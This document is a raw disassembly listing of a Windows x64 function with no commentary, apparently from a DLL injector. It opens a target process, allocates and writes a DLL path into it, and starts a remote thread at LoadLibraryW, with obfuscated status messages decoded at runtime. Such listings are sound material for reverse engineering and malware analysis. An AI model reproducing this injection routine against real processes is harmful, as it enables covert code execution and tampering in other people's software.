mov rax, qword [rbp + 0x478]
cmp rax, 0x10
jae 0x140002fd2
jmp 0x140002539
lea rdi, [rbp + 0x4b0]
lea rsi, [rbp + 0x4d0]
mov rcx, rdi
mov rdx, rsi
call fcn.140008e40
cmp qword [rbp + 0x4c8], 8
jb 0x1400027e9
mov rdi, qword [rbp + 0x4b0]
lea rdx, [rbp + 0x1f0]
mov rcx, rdi
mov r8d, 3
mov r9d, 0xffffffff
call fcn.140035c34
xor ebx, ebx
cmp eax, 0x34
jg 0x140002833
lea ecx, [rax - 2]
cmp ecx, 2
jb 0x140002841
test eax, eax
jne 0x1400031c3
mov bl, 1
jmp 0x140002841
and eax, 0x10
cmp eax, 1
mov edi, 3
sbb rdi, 0
jmp 0x140002073
cmp eax, 0x35
je 0x140002841
cmp eax, 0x7b
jne 0x1400031c3
mov rax, qword [rbp + 0x4c8]
cmp rax, 8
jb 0x14000288d
mov rcx, qword [rbp + 0x4b0]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x140002888
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x1400031be
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.140031abc
test bl, bl
jne 0x14000295b
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov dx, 0xc
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [0x140056c5b]
movups xmmword [rbp + 0x229], xmm0
movups xmm0, xmmword [0x140056c52]
movaps xmmword [rbp + 0x220], xmm0
movups xmm0, xmmword [0x140056c42]
movaps xmmword [rbp + 0x210], xmm0
movups xmm0, xmmword [0x140056c32]
movaps xmmword [rbp + 0x200], xmm0
movups xmm0, xmmword [0x140056c22]
movaps xmmword [rbp + 0x1f0], xmm0
lea rcx, [rbp + 0x1f0]
mov edx, 0x49
call fcn.14000a5a0
lea rcx, [0x140074810]
mov rdx, rax
call fcn.140003680
mov rdi, rax
mov word [rbp + 0x4b0], 0x6c7f
lea rcx, [rbp + 0x4b0]
mov edx, 2
call fcn.14000a5a0
mov rcx, rdi
mov rdx, rax
call fcn.140003680
mov rcx, rax
call fcn.140003a70
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov dx, 0xf
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
cmp qword [rbp + 0x4e8], 8
jb 0x14000296c
mov rsi, qword [rbp + 0x4d0]
lea r8, [rbp - 0x40]
mov rcx, rsi
mov edx, 0x104
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_GetFullPathNameW]
test eax, eax
je 0x14000298d
xor bl, 1
jmp 0x140002a5e
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov dx, 0xc
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [0x140056cab]
movaps xmmword [rbp + 0x230], xmm0
movups xmm0, xmmword [0x140056c9b]
movaps xmmword [rbp + 0x220], xmm0
movups xmm0, xmmword [0x140056c8b]
movaps xmmword [rbp + 0x210], xmm0
movups xmm0, xmmword [0x140056c7b]
movaps xmmword [rbp + 0x200], xmm0
movups xmm0, xmmword [0x140056c6b]
movaps xmmword [rbp + 0x1f0], xmm0
mov word [rbp + 0x240], 0x6cf6
lea rcx, [rbp + 0x1f0]
mov edx, 0x52
call fcn.14000a5a0
lea rcx, [0x140074810]
mov rdx, rax
call fcn.140003680
mov rsi, rax
mov word [rbp + 0x4b0], 0x6c7f
lea rcx, [rbp + 0x4b0]
mov edx, 2
call fcn.14000a5a0
mov rcx, rsi
mov rdx, rax
call fcn.140003680
mov rcx, rax
call fcn.140003a70
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov bl, 1
mov rcx, rax
mov dx, 0xf
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov r8d, dword [rbp + 0x4ac]
mov ecx, 0x1fffff
xor edx, edx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
jne 0x140002b3b
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov dx, 0xc
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [0x140056cdd]
movaps xmmword [rbp + 0x210], xmm0
movups xmm0, xmmword [0x140056ccd]
movaps xmmword [rbp + 0x200], xmm0
movups xmm0, xmmword [0x140056cbd]
movaps xmmword [rbp + 0x1f0], xmm0
movabs rax, 0x6fd29ac290fd89ca
mov qword [rbp + 0x21f], rax
lea rcx, [rbp + 0x1f0]
mov edx, 0x37
call fcn.14000a5a0
lea rcx, [0x140074810]
mov rdx, rax
call fcn.140003680
mov rdi, rax
mov word [rbp + 0x4b0], 0x6c7f
lea rcx, [rbp + 0x4b0]
mov edx, 2
call fcn.14000a5a0
mov rcx, rdi
mov rdx, rax
call fcn.140003680
mov rcx, rax
call fcn.140003a70
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov bl, 1
mov rcx, rax
mov dx, 0xf
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov dword [rsp + 0x20], 4
mov r8d, 0x104
mov rcx, rsi
xor edx, edx
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
jne 0x140002c23
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov dx, 0xc
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [0x140056d14]
movaps xmmword [rbp + 0x210], xmm0
movups xmm0, xmmword [0x140056d04]
movaps xmmword [rbp + 0x200], xmm0
movups xmm0, xmmword [0x140056cf4]
movaps xmmword [rbp + 0x1f0], xmm0
movabs rax, 0x6fdf9ac190c788f0
mov qword [rbp + 0x21f], rax
lea rcx, [rbp + 0x1f0]
mov edx, 0x37
call fcn.14000a5a0
lea rcx, [0x140074810]
mov rdx, rax
call fcn.140003680
mov rbx, rax
mov word [rbp + 0x4b0], 0x6c7f
lea rcx, [rbp + 0x4b0]
mov edx, 2
call fcn.14000a5a0
mov rcx, rbx
mov rdx, rax
call fcn.140003680
mov rcx, rax
call fcn.140003a70
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov bl, 1
mov rcx, rax
mov dx, 0xf
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov qword [rsp + 0x20], 0
lea r8, [rbp - 0x40]
mov r9d, 0x104
mov rcx, rsi
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140002d04
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov dx, 0xc
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [0x140056d59]
movups xmmword [rbp + 0x21e], xmm0
movups xmm0, xmmword [0x140056d4b]
movaps xmmword [rbp + 0x210], xmm0
movups xmm0, xmmword [0x140056d3b]
movaps xmmword [rbp + 0x200], xmm0
movups xmm0, xmmword [0x140056d2b]
movaps xmmword [rbp + 0x1f0], xmm0
lea rcx, [rbp + 0x1f0]
mov edx, 0x3e
call fcn.14000a5a0
lea rcx, [0x140074810]
mov rdx, rax
call fcn.140003680
mov rbx, rax
mov word [rbp + 0x4b0], 0x6c7f
lea rcx, [rbp + 0x4b0]
mov edx, 2
call fcn.14000a5a0
mov rcx, rbx
mov rdx, rax
call fcn.140003680
mov rcx, rax
call fcn.140003a70
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov bl, 1
mov rcx, rax
mov dx, 0xf
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov qword [rsp + 0x20], rdi
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rsi
xor edx, edx
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x140002e03
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov dx, 0xc
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [0x140056d99]
movaps xmmword [rbp + 0x220], xmm0
movups xmm0, xmmword [0x140056d89]
movaps xmmword [rbp + 0x210], xmm0
movups xmm0, xmmword [0x140056d79]
movaps xmmword [rbp + 0x200], xmm0
movups xmm0, xmmword [0x140056d69]
movaps xmmword [rbp + 0x1f0], xmm0
movabs rax, 0x48e39cf09feaa2da
mov qword [rbp + 0x22e], rax
lea rcx, [rbp + 0x1f0]
mov edx, 0x46
call fcn.14000a5a0
lea rcx, [0x140074810]
mov rdx, rax
call fcn.140003680
mov rbx, rax
mov word [rbp + 0x4b0], 0x6c7f
lea rcx, [rbp + 0x4b0]
mov edx, 2
call fcn.14000a5a0
mov rcx, rbx
mov rdx, rax
call fcn.140003680
mov rcx, rax
call fcn.140003a70
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov bl, 1
mov rcx, rax
mov dx, 0xf
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
mov rdx, rdi
xor r8d, r8d
mov r9d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test bl, bl
je 0x140002ed8
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov dx, 0xc
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [0x140056dcd]
movups xmmword [rbp + 0x20e], xmm0
movups xmm0, xmmword [0x140056dbf]
movaps xmmword [rbp + 0x200], xmm0
movups xmm0, xmmword [0x140056daf]
movaps xmmword [rbp + 0x1f0], xmm0
lea rcx, [rbp + 0x1f0]
mov edx, 0x2e
call fcn.14000a5a0
lea rcx, [0x140074810]
mov rdx, rax
call fcn.140003680
mov rsi, rax
mov word [rbp + 0x4b0], 0x6c7f
lea rcx, [rbp + 0x4b0]
mov edx, 2
call fcn.14000a5a0
mov rcx, rsi
mov rdx, rax
call fcn.140003680
mov rcx, rax
call fcn.140003a70
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov dx, 0xf
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
jmp 0x140002f82
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov dx, 0xa
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [0x140056dfa]
movups xmmword [rbp + 0x20d], xmm0
movups xmm0, xmmword [0x140056ded]
movaps xmmword [rbp + 0x200], xmm0
movups xmm0, xmmword [0x140056ddd]
movaps xmmword [rbp + 0x1f0], xmm0
lea rcx, [rbp + 0x1f0]
mov edx, 0x2d
call fcn.14000a5a0
lea rcx, [0x140074810]
mov rdx, rax
call fcn.140003680
mov rsi, rax
mov word [rbp + 0x4b0], 0x6c7f
lea rcx, [rbp + 0x4b0]
mov edx, 2
call fcn.14000a5a0
mov rcx, rsi
mov rdx, rax
call fcn.140003680
mov rcx, rax
call fcn.140003a70
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov dx, 0xf
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov dword [rbp + 0x1f0], 0x110d05
mov word [rbp + 0x1f4], 0x4f0d
lea rcx, [rbp + 0x1f0]
mov edx, 6
call fcn.14000a5a0
mov rcx, rax
call fcn.14003c710
xor esi, esi
mov rax, qword [rbp + 0x4e8]
cmp rax, 8
jae 0x14000276a
mov rax, qword [rbp + 0x478]
cmp rax, 0x10
jb 0x140002539
mov rcx, qword [rbp + 0x460]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x140003005
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14000317d
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140031abc
mov rax, qword [rbp + 0x458]
cmp rax, 8
jb 0x14000254a
mov rcx, qword [rbp + 0x440]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x140003055
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140003182
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.140031abc
mov rax, qword [rbp + 0x430]
cmp rax, 8
jb 0x14000255b
mov rcx, qword [rbp + 0x418]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x1400030a5
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14000316e
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.140031abc
mov rax, qword [rbp + 0x4a0]
cmp rax, 8
jb 0x14000256c
mov rcx, qword [rbp + 0x488]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x1400030f5
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140003173
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.140031abc
mov rax, qword [rbp + 0x408]
cmp rax, 0x10
jb 0x14000313b
mov rcx, qword [rbp + 0x3f0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x140003136
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140003178
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140031abc
mov eax, esi
movaps xmm6, xmmword [rbp + 0x500]
movaps xmm7, xmmword [rbp + 0x510]
add rsp, 0x5a8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov edi, 4
jmp 0x140002073
call fcn.140004710
call fcn.14003c394
call fcn.14003c394
call fcn.14003c394
call fcn.14003c394
call fcn.14003c394
lea rcx, str.create_directory
lea r8, [rbp + 0x1f0]
call fcn.140004ce0
call fcn.14003c394
lea rcx, str.status
lea r8, [rbp + 0x4d0]
mov edx, eax
call fcn.140004ce0
call fcn.14003c394
call fcn.14003c394
call fcn.14003c394
mov dword [rbp + 0x1f0], eax
lea rax, [0x140056fc8]
mov qword [rbp + 0x1f8], rax
lea rcx, str.exists
lea rdx, [rbp + 0x1f0]
lea r8, [rbp + 0x4b0]
call fcn.1400069d0
int3